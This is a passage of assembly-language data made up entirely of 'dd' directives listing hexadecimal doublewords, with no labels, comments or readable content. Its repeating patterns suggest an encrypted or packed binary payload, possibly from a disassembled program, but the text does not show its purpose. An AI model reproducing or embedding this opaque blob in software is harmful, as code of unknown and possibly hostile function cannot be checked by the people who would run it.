0E052C11Dh, 22DA06ABh dd 0BC670E4Bh, 6AF5A967h, 601A9B41h, 316DA772h, 0B3C44CA1h dd 0E6833497h, 0A00962FFh, 71C143FAh, 1CA7F71Ch, 0A7964DF3h dd 0C182316Dh, 0D3670E52h, 6AA72B19h, 67BC8534h, 1250F6A8h dd 3569A75Bh, 3171C186h, 0E683B215h, 0E187E0FFh, 3569A72Ah dd 2277BF86h, 530AB0EEh, 0E4A967BCh, 0BEAE8A7h, 50F65FEAh dd 9C2C72A3h, 0E3DD405Ch, 0AA03FFE6h, 0E39BFE1Ah, 70C9FFE6h dd 58BF13CAh, 19D386EDh, 3569A72Bh, 0A74BAA86h, 0EEE40E69h dd 3D6631EFh, 36147793h, 0E942FFE7h, 66DA80h, 0DFFFE736h dd 0AD0D6AB5h, 18BEC46Ah, 0C6D83ACFh, 9778CD5Dh, 0DAAA6107h dd 3F11305Ah, 0C1736D54h, 20ABF31Ch, 7B9A51F7h, 961E1E1Eh dd 83D73A56h, 0A4FDFFE6h, 19D347FEh, 0E69A72Bh, 0BD4856B9h dd 147AEE94h, 42FFE683h, 0C12F59E9h, 6EA30477h, 0F9A51F7h dd 1A1A7B68h, 863569A7h, 69A7680Fh, 3BDA8635h, 0F1AD67BCh dd 0EA973D66h, 0DAC5742Ah, 52A7EF3Bh, 7E35DBC3h, 0A72B19D3h dd 0F863569h, 3569A768h, 547E1686h, 8D570514h, 843BE163h dd 0C9AE67BCh, 0E6834AADh, 0B61F78FFh, 5F43F12Bh, 1838C486h dd 96080AAFh, 0D1CD43F0h, 0BC52C122h, 0A6FA6392h, 0D57BF227h dd 4B3EB28h, 6AA752C1h, 58BF8534h, 863569A7h, 6AA74BAAh dd 0AE7AA434h, 68C0F13Dh, 0FE6737D8h, 3BDAA158h, 0F94E2F7Bh dd 0CFF8831Bh, 6EA77229h, 0CF40A530h, 0BF0044CFh, 63F35D05h dd 0A8C010Eh, 0A9A24D9Bh, 0D9028DF6h, 19D37C33h, 326CA72Bh dd 277CBC83h, 0E144B0EEh, 0FFFE682h, 3AD210B6h, 0FDAFBA10h dd 0FF1B74EEh, 0FFE76E9Ch, 8E0871CAh, 0A8B46B71h, 9F56FCE2h dd 863569A7h, 0FFE052C1h, 0D6FFE6F9h, 7FE8F81h, 25044AE9h dd 3B64EF58h, 89F0DE95h, 0BC2B19D3h, 0B25A6F92h, 0FBF737Ch dd 0C1E96332h, 0C26F158Fh, 16A1504Eh, 1B92BC5Fh, 0FDF35EDAh dd 1FF4A147h, 71C1D07Fh, 83B21531h, 87E0FFE6h, 68A72AE1h dd 0BE51A636h, 0C4DA3BE0h, 0B36A1039h, 6AA752C1h, 0CD44A934h dd 0B4ED46D1h, 9BAF41FAh, 0C75073F2h, 0D379205Eh, 9DF32B19h dd 2B19D37Dh, 863569A7h, 0FD607CBCh, 23FFE682h, 0AEF025CAh dd 0A713CA08h, 0C183326Ch, 2E6DA752h, 0FFE683C8h, 0BCEE9DF6h dd 82FD607Ch, 0CA23FFE6h, 0A70BAA24h, 0DA863569h, 920C055Ah dd 8138DE07h, 19D333E2h, 3668A72Bh, 0AC67BC87h, 983E67F2h dd 0B260B505h, 0A78F46ECh, 83C92F6Ch, 9CF5FFE6h, 0AD92BCEDh dd 288F0ECh, 1DBC36DCh, 0FD607CBCh, 23FFE682h, 9C7724CAh dd 0E68399FFh, 0A44C76FFh, 0D105E72Ch, 116AB359h, 0A7680F62h dd 0BC83326Ch, 17B3D492h, 38DE938Ah, 6CA743FAh, 3BDA8332h dd 0F0AE67BCh, 46EE0376h, 0DC82682Eh, 0C4A9A903h, 0AFCC4A74h dd 401FEC0Fh, 19D3E39Ah, 326CA72Bh, 80D62A2h, 76E20B96h dd 0FFE68313h, 42A5C141h, 70FFE683h, 5108AE17h, 0F5A967BCh dd 0F3630A4Fh, 0BF729C9Dh, 3B2C0271h, 0D323DA80h, 6CA72B19h dd 5F168332h, 0B4AE67BCh, 8FB8435Bh, 3CD38026h, 67BCB362h dd 4069F4AAh, 833194B0h, 65FFFE6h, 0A75ECD60h, 0C1873668h dd 20207B52h, 7CBC2AC9h, 0E682FD60h, 24CA23FFh, 0BCFBE9A3h dd 6BF6A867h, 20EF9C42h, 0FED22D57h, 9B784715h, 0E771CC2Fh dd 247A96FFh, 0D62F7099h, 5F16BE6Dh, 0F6A867BCh, 0A4F4DC50h dd 0A784FFE6h, 16873668h, 0B6E8297Eh, 9DF35910h, 0A967BC7Dh dd 9B416AF5h, 0CE7D21EEh, 6BA758BFh, 77BF8433h, 26B1ED22h dd 82A057FDh, 784B0832h, 4FF2FB8Eh, 7AE437D5h, 9036D6E2h dd 4A19D3D9h, 42D0FF20h, 4AF0259Ch, 0AB67BC93h, 0FC1868F3h dd 0FFE68399h, 5F056EC7h, 0B1415DB2h, 5FEAB45Ch, 0AAD99036h dd 1D92BC4Bh, 0E93D609Ch, 0B06AEB91h, 0F86AA7C2h, 0D0F9841Ah dd 7CBCB867h, 46B2EC27h, 0FFE682E3h, 0FE13B811h, 46EC15A0h dd 6EA744B3h, 1140CE1Fh, 268F4F3Bh, 0D73A5696h, 0FDFFE748h dd 67F2AC68h, 782FD53Eh, 0F2AC67BCh, 3983E67h, 3668A79Ch dd 0DDC151A6h, 4BAA8037h, 0A63668A7h, 9BB7C051h, 0FFE68338h dd 0F69C055Eh, 0E052C13Fh, 0FFE6836Dh, 796FFA24h, 0E74C93B2h dd 5BBA8A41h, 0A72B19D3h, 16873668h, 0AB67BC5Fh, 993F68F3h dd 0D73D25ECh, 8ECE5EC7h, 57C3DB39h, 0FFE682F4h, 6C23C922h dd 0E8297E16h, 5C022BB6h, 3668A7A5h, 0A75F1687h, 0C183326Ch dd 336BA752h, 0E44763A3h, 12FFE682h, 0BC5C13B9h, 4CF2AC67h dd 0FE1469B9h, 267CE38Fh, 82EB5797h, 7128CEF7h, 83326CA7h dd 0F5A967BCh, 0A74DBC4Fh, 0C185346Ah, 0D389F052h, 6CA72B19h dd 92BC8332h, 0F33A2F0h, 7FBD6353h, 326CA7C8h, 9DC54DA2h dd 769F2A74h, 0C1B0670Dh, 0F892BC52h, 6D723B2Eh, 6620839Fh dd 0ED46FFE7h, 0A805DE84h, 0D37221A8h, 6CA72B19h, 5F168332h dd 84336BA7h, 5C4771C1h, 1C449F53h, 7B3BF298h, 69A71D1Dh dd 0CE45AA35h, 0F82945D0h, 0E4BA5A3Eh, 9CC73059h, 9A77CC0Ch dd 0E4507904h, 0FFE68381h, 0F9B056AFh, 0FD607CBCh, 23FFE682h dd 870650CAh, 86EC3249h, 0B7A55FE0h, 84336BA7h, 223E7E16h dd 0FFE683BFh, 25837BE5h, 7DF429C6h, 0A7B76E14h, 8DF00C6Bh dd 7AFFE683h, 67929E4Fh, 217ABB3Ch, 5F1609B8h, 83326CA7h dd 0F6A867BCh, 0E04EBD50h, 0FFE691C6h, 2363B36Eh, 0E683A407h dd 0D379D2FFh, 2B19D31Ch, 83326CA7h, 67BC5F16h, 4DB0CCABh dd 73FFE683h, 5E0BB11Ah, 459E9B5h, 30E78D11h, 0ACE052C1h dd 4CA84536h, 0AB3668A7h, 4AD5C946h, 56FEB8F1h, 19D37118h dd 346AA72Bh, 0A752C185h, 83C92F6Ch, 60F5FFE6h, 0F282EBB3h dd 833396B2h, 0CC61FFE6h, 0A6CF5A44h, 0BCE0973Dh, 68F3AB67h dd 9F1F993Fh, 83E0435Fh, 0AD06FFE6h, 6AA75007h, 0E683CB31h dd 0EF9EF7FFh, 64305ADAh, 0CD52A70Ah, 48100595h, 81EAF296h dd 0D72B9407h, 0D97FA42Bh, 0D3086F22h, 67BC2B19h, 416AF5A9h dd 7625EE9Bh, 0FFE68310h, 0BC36E53Eh, 4AF0AE67h, 0E9287D05h dd 87012AB5h, 56C9BC86h, 4D04AA9Ah, 83326CA7h, 6CA75F16h dd 7CBC8332h, 0E682FD60h, 50CA23FFh, 3EE2CF9Fh, 0AEEC92C5h dd 4E50C116h, 0E88FF1A8h, 85F4E88Fh, 0E6837DE0h, 5BBA35FFh dd 9F2B19D3h, 306EA7F8h, 0D6C84BA0h, 977D224Bh, 0AD537C07h dd 8552C1F6h, 3DA0BC0Eh, 63FFE683h, 5F165B0Ah, 6EA785F4h dd 5F168130h, 0F4AA67BCh, 2C72A14Eh, 0E052C17Dh, 0FFE6837Dh dd 8D11FF54h, 7C33D902h, 83326CA7h, 0F0AE67BCh, 0A7550C4Ah dd 0C181306Eh, 0B1EDE052h, 7A852C32h, 2B19D31Bh, 81306EA7h dd 92BC5F16h, 36E810A5h, 37E48A5Eh, 0C111C0DEh, 326CA752h dd 7A52C183h, 607CBC1Bh, 0FFE682FDh, 0DB3398EAh, 1556B702h dd 0DB9516BCh, 306EA7EDh, 9BC74BA0h, 33BE2777h, 8364C7E3h dd 3992FFE6h, 0BC732AD0h, 1CFBD992h, 0FB8B0737h, 0E7007CDFh dd 0AB51AAFFh, 6EA7B66Dh, 71C18130h, 3A9F51Ch, 0E92BC4Ch dd 0A01C5181h, 429AFF5Fh, 6BD49080h, 0B75E51C5h, 0BA162C32h dd 4A19D35Bh, 0EC79D420h, 0C5EE7925h, 73EE5B4Bh, 4E77029Ch dd 0A7883FE5h, 0BC81306Eh, 4DF3AB67h, 2D85580Fh, 0DC6737D8h dd 98019D77h, 52C13BF2h, 0A2326CA7h, 50DBC34Dh, 16CA8127h dd 0AE67BC5Fh, 7BEA4AF0h, 0E6837DE0h, 12FF54FFh, 74DDC150h dd 631AC0E9h, 19D31B7Ah, 0BCF89F2Bh, 6AF5A967h, 27EE9B41h dd 52C1C877h, 0E6837DE0h, 5BBA35FFh, 204A19D3h, 972650E3h dd 8E45EB84h, 0A0306EA7h, 82E14460h, 0B60FFFE6h, 0F79D0111h dd 0A75F1640h, 7D21F46Eh, 1C828DF2h, 0C19B4AB3h, 0BC0E8552h dd 0E6833DA0h, 7A0A63FFh, 28B3EB25h, 743C4EEh, 47B0435Ch dd 493406CDh, 0AE544800h, 0B352C1F7h, 2B19D344h, 81306EA7h dd 0F5A967BCh, 855A114Fh, 0A752C10Eh, 0C181306Eh, 0BC44B352h dd 68F3AB67h, 5E18993Fh, 0C9D53A8Fh, 6FD2EE3Eh, 95FFE683h dd 762DD33Ch, 6A316DA7h, 0AA67BCF3h, 9A4069F4h, 8383E602h dd 58B1FFE6h, 0A967BCA9h, 9B416AF5h, 6EA7A65Dh, 71C18130h dd 0AB69F91Ch, 0D6FF8AF3h, 0D36D905Ch, 0AF557001h, 0BC0E85F8h dd 82FD607Ch, 0CA23FFE6h, 0C4C8C24h, 0E6838DF0h, 0B55AB3FFh dd 25993F5Fh, 0FFE683C2h, 0BCE897F0h, 84A44192h, 56D00D7Ch dd 0C9F2E0AFh, 0E4771D3Dh, 0BC44B375h, 4EF4AA67h, 0EF4413CDh dd 1DD47A24h, 0FD607CBCh, 23FFE682h, 38ADF5B9h, 258E533Ah dd 5B43D27Fh, 297E16ACh, 0FF28B3EBh, 179FA259h, 77FEFEDh dd 531C9608h, 4A01A79Ch, 0EE0A6DA7h, 0FFE6838Bh, 48F760B9h dd 0E8552C1h, 833DA0BCh, 0A63FFE6h, 0CE51507Ah, 0DE2C8A94h dd 5F168138h, 0E6DCC5E0h, 69A76DFFh, 0C450A535h, 0AC264FDAh dd 5EE78ABh, 0FCB359D2h, 0E8552C1h, 203C7CBCh, 0FFE683BDh dd 70E48AE3h, 0FFE6830Dh, 162BDA33h, 336BA75Fh, 0F452C184h dd 0AD67BC85h, 973D66F1h, 0E67628EAh, 7A207E91h, 0A75F16C3h dd 0C184336Bh, 50854771h, 94827CC8h, 14BA237Bh, 837DE05Dh dd 0A735FFE6h, 45AA3569h, 0F749D4CAh, 9A6C14CEh, 920C055Ah dd 19D335ECh, 801EF54Ah, 6BA723DAh, 3E5A1DF7h, 0FFE683DBh dd 0DE47B009h, 0A75F162Fh, 63A3336Bh, 83A40723h, 79D2FFE6h dd 0E683AA0Dh, 0D97FD8FFh, 0BC52C122h, 76FC492h, 2457C914h dd 91FE780Fh, 3955E53Bh, 0FFE735D6h, 89FDA3FCh, 0FFE73526h dd 3EA1BDFDh, 15FFE735h, 0E73596F9h, 2263BCFFh, 0BA6C23C9h dd 4A19D35Bh, 838BEE0Ah, 60B9FFE6h, 9F4559BBh, 336BA7E8h dd 607CBC84h, 0FFE682FDh, 19858E23h, 82FC658Eh, 94965A53h dd 442E80Dh, 0A5F9176Ch, 477F11Ah, 8DCE47D2h, 85C57C22h dd 7C98ED2Dh, 8353B622h, 2881FFE6h, 7CBCCB82h, 0E682FD60h dd 24CA23FFh, 6BA72291h, 67BC8433h, 416AF5A9h, 0BC99089Bh dd 0E6833DA0h, 430A63FFh, 2A3EC1EBh, 0E9AE9581h, 7CBC8C43h dd 0BA3A7752h, 4858A015h, 3EF88B67h, 0C93DE34Ch, 0FFE7386Ah dd 16903F98h, 0F76BA75Fh, 6A19821Ch, 0F89F5F16h, 83326CA7h dd 0E8552C1h, 833DA0BCh, 0A63FFE6h, 158507Ah, 0F583DD9Bh dd 7319821Ch, 607CBCBCh, 0FFE682FDh, 1E3ACA23h, 0FFE683BBh dd 0ACEA90E9h, 8585F4F5h, 0A752C10Eh, 78A2326Ch, 43B48E71h dd 3AF197B2h, 0A4F45F16h, 102FCD7Ah, 0F89E5F4Ah, 837DE041h dd 0FF54FFE6h, 0DBC35210h, 33BE2750h, 0F39A900Ah, 0B90B65DDh dd 1B7A5C13h, 0F1AD67BCh, 16973D66h, 179F6E5Ch, 8358BBD7h dd 257EFFE6h, 6CA7C87Fh, 52C18332h, 0E6837DE0h, 1B7A35FFh dd 0A4A19D3h, 0E6838BEEh, 0D060B9FFh, 0E68351B4h, 80267FFFh dd 326CA7C9h, 0A75F1683h, 0BC83326Ch, 4DF3AB67h, 7DE04BBAh dd 35FFE683h, 0A5306EA7h, 3EC9D540h, 0E5C983ACh, 0BAE36E30h dd 0D360BF51h, 6CA72B19h, 8B0F7321h, 0BD9E1886h, 0F9A811BCh dd 6CA75F16h, 0C44DA232h, 80264FDAh, 0A752C1C9h, 0F46B326Ch dd 0FD607CBCh, 23FFE682h, 708C24CAh, 0FFE6830Dh, 0C12BDA33h dd 0BC44B352h, 4CF2AC67h, 0A72311CBh, 1683326Ch, 0ED2D855Fh dd 0E6836ED1h, 0BCE230FFh, 7529E67Bh, 0DE58C1EAh, 4CAB7B68h dd 43FAA042h, 6A7792BCh, 0E2798EBAh, 0A73AA93Ch, 8CEF0B6Ch dd 0BAFFE683h, 0BC49F861h, 4AF0AE67h, 6CA748B7h, 0CD42A732h dd 0F92A46D1h, 8FFE973Fh, 852B19D3h, 607CBC0Eh, 0FFE682FDh dd 4854B923h, 0A62E5297h, 0BFFF973Dh, 68F3AB6Ah, 0C225993Fh dd 0F0FFE727h, 5F16E897h, 0E10692BCh, 4BB2F749h, 0AC3C9FBBh dd 116AFFE6h, 4955BE6Bh, 8552C19Ah, 3DA0BC0Eh, 63FFE683h dd 52C15B0Ah, 72363B3h, 0FFE683A4h, 83046783h, 0D932FFE6h dd 0E2993F98h, 0FD607CBCh, 23FFE682h, 0BB1E3ACAh, 0E9FFE683h dd 0AF69EA90h, 0F392BCC1h, 72003679h, 1201AE54h, 54DFBF50h dd 0BC13C22Bh, 0EA0EA792h, 744AB007h, 8F4EC84Eh, 0FF3DE38Dh dd 0AA67BC48h, 9B4069F4h, 0CF842A74h, 3668A728h, 8552C187h dd 3DA0BC0Eh, 14FFE683h, 8355B8D4h, 227BFFE6h, 2BDA337Ch dd 4FB45F16h, 0F1A8DEC0h, 828E96F3h, 0BC04B31Ch, 0E0AD0EA0h dd 0AB3B9407h, 58E3BB56h, 0BCD2892Fh, 82FD607Ch, 52BFFFE6h dd 6F8B0B4Ch, 0FFE6830Ch, 0D278E13Ah, 0E85D03Fh, 0CDE052C1h dd 6563DFA9h, 19D344B3h, 0BC0E852Bh, 0BD203C7Ch, 0E3FFE683h dd 0D70E48Ah, 33FFE683h, 20F54ADAh, 24CAF37Eh, 855F166Dh dd 623CD82Dh, 71C105BCh, 0A1D70731h, 4B96F71Ah, 0E6907CDFh dd 0AB51AAFFh, 3569A7F4h, 0A75F1686h, 0C185346Ah, 0A785F452h dd 4B17F86Ah, 244DD8C6h, 16A352BBh, 0B3EB297Eh, 0A259FF28h dd 0A3336BA7h, 34DAC44Eh, 0A752C17Dh, 0BC85346Ah, 82FD607Ch dd 8E23FFE6h, 0FB41D81h, 0E60F9A04h, 0E03EAD40h, 4539EF8Fh dd 13091C46h, 8A52364Ch, 92BC2DE4h, 0A160301Dh, 0A24FF580h dd 89EC086Fh, 0B7FFE77Ah, 4757B95Eh, 7B2A93BCh, 92BC5F16h dd 0DA782835h, 0DB882E4Eh, 0C1B96836h, 0EF8BE052h, 0F54A4539h dd 0CBF47F1Fh, 44B36E25h, 0A72B19D3h, 1685346Ah, 346AA75Fh dd 0A752C185h, 4EA3336Bh, 0E94ED9C5h, 0C0E9742Ah, 16FAB157h dd 346AA75Fh, 3E7E1685h, 0E683BF22h, 0E68CE5FFh, 0AA67BC2Fh dd 70A14EF4h, 52C17F2Eh, 84336BA7h, 1B7A52C1h, 0A4A19D3h dd 834BAECAh, 2079FFE6h dd 0E68351B4h, 80267FFFh, 0D492BCC9h, 770117D3h, 0F02AF55h dd 0A1D5FF8Fh, 8732E42Ah, 1629E086h, 0F76BA75Fh, 6918811Dh dd 6DA75F16h, 52C18231h, 0E6837DE0h, 16FF54FFh, 6CD5C94Ch dd 5B12B8E1h, 0A1316DA7h, 4ED9C54Ch, 16C87F25h, 346AA75Fh dd 0A752C185h, 0C182316Dh, 3569A752h, 0D3CB45AAh, 79DCF848h dd 0A7FFE683h, 0CF89CA4Eh, 0BCF65527h, 82FD607Ch, 0CA23FFE6h dd 1AE9A324h, 0F45AB1F0h, 213D3510h, 0FFE72EBEh, 7C228BE4h dd 346AA7C5h, 855F1685h, 0A752C10Eh, 4CA1316Dh, 224BD6C8h dd 5F16C57Ch, 0C54FA4F4h, 0BC7C33D9h, 65F0AE67h, 0BF22963Ch dd 77FFE683h, 19D31B7Ah, 85F89F2Bh, 0AC67BC0Eh, 69B94CF2h dd 17A2FC14h, 0A79148EEh, 0C185346Ah, 0D82D8552h, 0B5E9273Bh dd 0F398012Ah, 1FD67C22h, 8341A0BCh, 0BB10FFE6h, 91BA4559h dd 9A49A2EBh, 143E7E16h, 911234CFh, 1679E528h, 3CFFE722h dd 99B056D2h, 0D23B96E7h, 6AA7752Ch, 0C77AA434h, 0C1F50A99h dd 94BECF49h, 0F979A501h, 5F169C53h, 4DC2179Fh, 0A7F4AB51h dd 0C1863569h, 4C92BC52h, 89928F7Fh, 0AC3767AAh, 741A83h dd 63DFA9EDh, 0D344B385h, 69A72B19h, 5F168635h, 0FD607CBCh dd 23FFE682h, 901B838Eh, 0E458FE67h, 0FFE6D82Ch, 346AA7ACh dd 0AD67BC85h, 68B84BF1h, 239D0113h, 0B6DA3D97h, 0AD640A61h dd 0A0BC0E85h, 0FFE6833Dh, 5D41CE63h, 0B04A9D2h, 167B2A93h dd 0BCCCE05Fh, 618B3F63h, 49408DFDh, 40F79DA3h, 1DF86AA7h dd 0BC691881h, 69F4AA67h, 0A55C9A40h, 0FD607CBCh, 23FFE682h dd 9A7724CAh, 52C15504h, 0C923237Bh, 32E81F49h, 6664122Bh dd 19D309C0h, 346AA72Bh, 547E1685h, 7F65BF22h, 762DD3FDh dd 0F0AE67BCh, 2A749D4Ah, 0A867BC7Bh, 4EBD50F6h, 0CBF710E0h dd 51C8A857h, 0FD607CBCh, 23FFE682h, 0E9A324CAh, 0AC67BCFBh dd 0D69D78F2h, 682014E0h, 0A2FC15C2h, 0A75F16F3h, 66BC236Ah dd 21CF09FFh, 0FC25B0EEh, 0C17B2A93h, 0A7F71C71h, 0A279F31Ch dd 8BBE532h, 0E0B2690Fh, 166AA4EAh, 507ABA8Ah, 0B0662C23h dd 0A75E0451h, 0EE277CBCh, 90FC25B0h, 0FFE6832Dh, 0D354FA53h dd 3D204A19h, 5F4E805Fh, 6AF5A966h, 7B32D841h, 0CEA967BCh dd 0E6834FB2h, 0B31C75FFh, 0EDB1600Dh, 5F92BC3Eh, 49A7726h dd 5D32098Ah, 8CE179B7h, 0BB721886h, 0FD607CBCh, 23FFE682h dd 0D45D91B9h, 63CCA278h, 620010BDh, 0D988F1ADh, 6AA752C1h dd 1578D223h, 0B72061CCh, 0C852C108h, 2B19D351h, 0A53569A7h dd 9A45577Bh, 3DD7CABFh, 44ADD661h, 5F16E79Eh, 71C10E85h dd 1DA8F61Ch, 834EB1CDh, 1B74FFE6h, 0A7550CB2h, 0AEAC236Ah dd 7D7729EFh, 5F166514h, 7DE085F4h, 54FFE683h, 8395F814h dd 62BBFFE6h, 5BBA05BCh, 9F2B19D3h, 0F56DA7F8h, 0D2CC441Eh dd 2AB51E47h, 0F2DCCF0h, 0D63F65EBh, 52C1BE6Dh, 0A0BC0E85h dd 0FFE6833Dh, 0BC5B0A63h, 82FD607Ch, 0CA23FFE6h, 0F42FE624h dd 316DA785h, 297E1682h, 12AB5E9h, 67BCA45Bh, 426BF6A8h dd 7925EF9Ch, 0E052C1CAh, 0FFE6837Dh, 103A7A35h, 7EE84ABh dd 0FEB55B10h, 0A4A19D3h, 0E6838BEEh, 0BA60B9FFh, 316DA703h dd 0A75F1682h, 4CA1316Dh, 224BD6C8h, 71C1C57Ch, 0A2F25F47h dd 842AEAD6h, 837DE0CDh, 0A735FFE6h, 841AF76Bh, 0DC67D0F9h dd 76019D77h, 9941FB24h, 0F24787C7h, 0CAF37E20h, 0E682FB5Eh dd 5BBEDAFFh, 89FFE683h, 0F096EF30h, 4A19D339h, 0F6811DF5h dd 0BC7027CDh, 85014292h, 7C22DACEh, 0C95945CFh, 0F64AB39Fh dd 66AA7792h, 7229CF38h, 6EA75F16h, 0B57CA530h, 0A752C13Eh dd 821CF56Dh, 0E16C32DDh, 6ABF4FB8h, 415DB8AAh, 7E244DD8h dd 1C71C1C7h, 46783F4h, 32FFE683h, 13CA70D9h, 0A0BC0E85h dd 0FFE68341h, 60C3DF5Fh, 86FFE683h, 0BC15C42Dh, 8BC74892h dd 943AB1E6h, 6DA79F56h, 7E168231h, 0CB598854h, 48EEE29Ah dd 32D8591h, 0BD3B36F8h, 0B46B11AFh, 0F13171C1h, 0E68372D5h dd 0DB47A0FFh, 0FFE68378h, 0E89F459Eh, 69A7F89Fh, 4E690B24h dd 931997D6h, 5F81D6EDh, 54036CD5h, 0F31C71C1h, 51F720ABh dd 607CBC9Ah, 0FFE682FDh, 8355B8D4h, 227BFFE6h, 6EE288E1h dd 0FFE6830Ch, 0D330E7CCh, 4C842B19h, 0EA387481h, 32Dh dd 346AA77Bh, 3C7CBC85h, 0E683BD20h, 1E8AE3FFh, 0FFE683BBh dd 57EA90E9h, 3668A7E8h, 0E052C187h, 0FFE6837Ch, 0AD67BC3Ch dd 973D66F1h, 0CA7925EAh, 92BC5F16h, 0F69A9257h, 0F7A44AD7h dd 0D3CB4A18h, 52C1BB6Ah, 0FD607CBCh, 23FFE682h, 9A7724CAh dd 5F165504h, 0CAAD67BCh, 0E6834BAEh, 0B72079FFh, 0F3AB6411h dd 0A75F1644h, 33CD1F6Eh, 0B6576210h, 52C19E4Dh, 69C8B5E0h dd 92BC3D5Ch, 59C3B380h, 76A869Eh, 2DFFE697h, 0BFDB6BD4h dd 0FFE6975Ch, 0DE8B318Ah, 16B86737h, 7D92BC5Fh, 207E9500h dd 56F26C95h, 5704AA1Dh, 0C131E0BEh, 0AD67BC52h, 0F0166F1h dd 72DB048Fh, 82F258CCh, 0A7B2FFE6h, 44A9346Ah, 2A8DA9CEh dd 58FFE683h, 790B96FFh, 90EE9650h, 2B19D329h, 0F1AD67BCh dd 27779E4Bh, 607CBC78h, 0FFE682FDh, 0E624CA23h, 96EA72Fh dd 0E6838AEDh, 0F65FB8FFh, 0E052C147h, 11325D4Bh, 4BAECA0Ah dd 7911325Ch, 0E6AA620h, 0A8E354ADh, 3A7A4B02h, 0CC722CE5h dd 2B19D315h, 0E1AC67BCh, 1423E4E0h, 74FF68A2h, 0D63A933Ah dd 81EAFF96h, 0B7E72EDBh, 0AC67BC08h, 570E4CF2h, 0F5A967BCh dd 0EE9B416Ah, 0ACEC7C22h, 0E6832D90h, 0B7D353FFh, 0FFE68354h dd 1AC02982h, 0BC52C163h, 82FD607Ch, 0CA23FFE6h, 0A1A2B024h dd 0A7D2548Fh, 44A9346Ah, 0F747D2CCh, 0E68378DBh, 73459EFFh dd 0B7D7904Ah, 3659FA05h, 53B244ADh, 0F1AD67BCh, 7D983D66h dd 0C76D9621h, 0BC9E8C46h, 4EF4AA67h, 9F2F6FA1h, 2ED4CA4Ah dd 0A75F1677h, 0C1863569h, 306EA752h, 1C71C181h, 0A05AAF4h dd 3AE00994h, 0D35BBA83h, 69A72B19h, 5F168635h, 0F20E69A7h dd 0FFE6838Fh, 0B61935B5h, 0DCFFE683h, 9F751A83h, 0E24B74FFh dd 0E052C133h, 548FA1D2h, 0D31B7A62h, 69A72B19h, 5F168635h dd 81306EA7h, 69A75F16h, 7CBC8635h, 0E682FD60h, 818E23FFh dd 69921Dh, 0E058C75Ah, 7396BDBAh, 507ABA7Ah, 0A369DF26h dd 9A51F744h, 0A72B19D3h, 50A53569h, 2750DBC3h, 5F16CA81h dd 0BB1892BCh, 0A2C34E5Bh, 0DDC14FFCh, 0AB67BC2Eh, 4BBA4DF3h dd 3A7792BCh, 70131CBAh, 4F3356CAh, 7AF323A0h, 4C2BE53Ah dd 0E683CD30h, 319AF3FFh, 20D77DA6h, 0A72B19D3h, 16863569h dd 3569A75Fh, 0A752C186h, 0C185346Ah, 326CA752h, 0D0CE42A7h dd 3EF82945h, 0D365C496h, 69A72B19h, 5F168635h, 863569A7h dd 0DC3171C1h, 9BFE6A34h, 0C9FFE683h, 0E013CA70h, 239FC6BDh dd 306EA775h, 0CAD440A5h, 0CA84AD3Fh, 0D3319022h, 69A72B19h dd 5F168635h, 863569A7h, 0BAE052C1h, 7A7396BDh, 2BE53A7Ah dd 0EAEE873h, 57CA51C1h, 580FB51Eh, 0A72B19D3h, 50A53569h dd 7E35DBC3h, 223E7E16h, 0FFE683BFh, 2FE68CE5h, 863569A7h dd 67BC52C1h, 4FB2CEA9h, 75FFE683h, 0FF28B31Ch, 0A28BE559h dd 7A496DB5h, 2B19D31Bh, 863569A7h, 67BC5F16h, 4069F4AAh dd 7A24ED9Ah, 6D5F16CBh, 0D15h, 3569A706h, 0E052C186h dd 0FFE68384h, 254FE734h, 0B06EBC3h, 58BA5F9Eh, 0D3E9A046h dd 4C842B19h, 33387481h, 0E06B33DEh, 233011B7h, 0C1000006h dd 0F4AA67BCh, 33D9C54Fh dd 7DE064D3h, 54FFE683h, 18C12FFh, 0BA7B32D8h, 0A867BC5Bh dd 15CF50F6h, 0A7F89F27h, 0BC84336Bh, 4AF0AE67h, 0E8548B7h dd 0BAA867BCh, 55E04955h, 1D809C2Ch, 43FFE683h, 90AC44EAh dd 0FFE6832Dh, 164BFA53h, 0A867BC5Fh, 9C426BF6h, 7DE0CD3Ch dd 35FFE683h, 19D35BBAh, 0AD67BC2Bh, 973D66F1h, 6AA73BE2h dd 52C18534h, 67BC0E85h, 0DCB5E2ABh, 0BD3669F8h, 0FAA0C954h dd 2EE34662h, 0B811FFE7h, 0E05F1609h, 22E2B317h, 5F92BC9Fh dd 6987752h, 15D8527Bh, 16C369D7h, 16F4A3FBh, 0F86AA75Fh dd 0D1FA8519h, 4FB8E62Ch, 8552C1A0h, 0E052C10Eh, 2690D788h dd 0D344B330h, 0E852B19h, 833DA0BCh, 0A63FFE6h, 0A967BC5Bh dd 9C416AF5h, 769F2A74h, 0A7DB92D0h, 4EA3336Bh, 2952DDC1h dd 7E16CC83h, 28B3EB29h, 0A7A259FFh, 690D226Bh, 57BE0350h dd 71C13FEEh, 3A9F51Ch, 0D788E04Ch, 0B3302690h, 5FFF3963h dd 0FE1DBB42h, 620828C5h, 0A74DB6D4h, 3B92BCF0h, 76807E2Eh dd 0F3AD2ED4h, 336BA705h, 0A75F1684h, 1685346Ah, 336BA75Fh dd 0DDC14EA3h, 0CC832952h, 0FD607CBCh, 0D4FFE682h, 0E68355B8h dd 0E1227BFFh, 0E04FE288h, 519588E0h, 6EA7306Ah, 0D240A530h dd 0AFE841CCh, 5CBB4DF5h, 0F5A967BCh, 1A9B416Ah, 6BA77260h dd 5F168433h, 0FD607CBCh, 23FFE682h, 9E7724CAh, 0FA1B7000h dd 4AF019A4h, 0A752C193h, 0C184336Bh, 0FEB0E052h, 0A7487DC3h dd 1684336Bh, 336BA75Fh, 0D7C74EA3h, 71C17A31h, 5AAF41Ch dd 31E88E10h, 81306EA7h, 143E7E16h, 5C1B11D8h, 0E144B0F3h dd 0FFFE6EBh, 0B4513CB6h, 0DCA48894h, 6BA77F36h, 0EDADAA22h dd 7EE7F493h, 0A75F16CFh, 0C184336Bh, 306EA752h, 0B352C181h dd 2B19D344h, 84336BA7h, 6EA75F16h, 5F168130h, 84336BA7h dd 7CE052C1h, 5BC5366Fh, 0BD570B06h, 1BD278E1h, 40E63B3h dd 7FD50F9Ah, 0BACEC2EFh, 5C13B922h, 204A19D3h, 0D9FA54B7h dd 89882D0Eh, 0BB618A15h, 336BA704h, 0AC67BC84h, 834CAFCBh dd 217AFFE6h, 5E042DB8h, 67BC6920h, 9E4BF1ADh, 0C17D2C72h dd 0A967BC52h, 70A24FF5h, 52C17F2Eh, 19D31B7Ah, 2469A72Bh dd 0C0C2387Fh, 1BAB143Bh, 0C7524CC6h, 1641F89Eh, 0F76BA75Fh dd 